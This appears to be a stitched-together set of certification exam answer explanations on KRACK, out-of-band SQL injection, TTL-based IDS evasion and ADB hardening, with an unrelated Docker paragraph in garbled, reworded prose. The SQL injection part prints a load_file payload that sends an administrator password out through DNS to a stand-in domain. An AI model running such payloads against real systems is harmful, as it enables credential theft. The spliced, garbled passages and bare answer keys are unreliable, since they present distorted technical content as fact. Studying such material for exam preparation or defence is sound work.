The correct answer is A. Key Reinstallation Attack (KRACK).
The scenario describes retransmitting a captured WPA2 handshake message so that the client reinstalls an already negotiated key. This is the defining behavior of KRACK, or Key Reinstallation Attack.
CEH wireless material explains that KRACK is a replay-style attack against WPA2 that abuses the four-way handshake. By repeatedly replaying the third handshake message, an attacker can cause the victim to reinstall the same encryption key, which can result in reuse of cryptographic values and weakening of traffic protection .
Option B. Replay Attack is too general. KRACK uses replay behavior, but the specific wireless technique is key reinstallation.
Option C. Man-in-the-Middle Attack is also too broad because the core weakness is not merely interception but forced key reinstallation.
Option D. WPA2 PSK Offline Cracking is incorrect because the scenario does not describe capturing a handshake and cracking the pre-shared key offline.
Therefore, the best answer is A. Key Reinstallation Attack (KRACK).

An 'out-of-band' SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control1. This technique can be used to bypass input validation and pattern matching measures that are based on the application's responses. The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type123. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database:
SELECT load_file(CONCAT('\\\\',(SELECT password FROM users WHERE username='administrator'),'.
example.com\\\\test.txt'))
This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator's password1.
References:
* 1: Out-of-band SQL injection | Learn AppSec | Invicti
* 2: Lab: Blind SQL injection with out-of-band interaction | Web Security Academy
* 3: SQLi part 6: Out-of-band SQLi | Acunetix

Docker uses a client-server design. The docker client talks to the docker daemon, that will the work of building, running, and distributing your docker containers. The docker client and daemon will run on the same system, otherwise you will connect a docker consumer to a remote docker daemon. The docker consumer and daemon communicate using a REST API, over OS sockets or a network interface.

The docker daemon (dockerd) listens for docker API requests and manages docker objects like pictures, containers, networks, and volumes. A daemon may communicate with other daemons to manage docker services.

The correct answer is C because TTL manipulation is associated with IDS/NIDS evasion. TTL, or Time To Live, is an IP header value that decreases by one at each router hop. When the TTL reaches zero, the packet is discarded. In IDS evasion, an attacker may craft packets with low TTL values so that the packet is seen by the IDS sensor but expires before reaching the actual victim host, or is dropped by a later router. This can create a mismatch between what the IDS believes happened and what the target system actually receives. CEH IDS evasion concepts describe this as complex IDS evasion, where packets are passed as far as the IDS and then dropped later using techniques such as low TTL fields, fragmentation, source routing, and other IP options.
This is why TTL manipulation is not primarily about evading encryption, routers, or firewalls. Routers process TTL, but the security control being confused or bypassed is the IDS.

Android Debug Bridge (ADB) is a powerful debugging interface that, if misconfigured, allows attackers to execute commands remotely. CEH v13 identifies exposed ADB as a critical mobile security risk, especially in enterprise environments.
The most effective countermeasure is to disable ADB entirely, except when explicitly required for development or troubleshooting, and only within tightly controlled environments. This directly removes the attack vector.
VPNs and biometrics improve security but do not prevent ADB abuse. Updating MDM systems is important but does not eliminate the risk if ADB remains enabled.
CEH v13 explicitly recommends strict ADB control as a best practice. Therefore, Option C is the correct answer.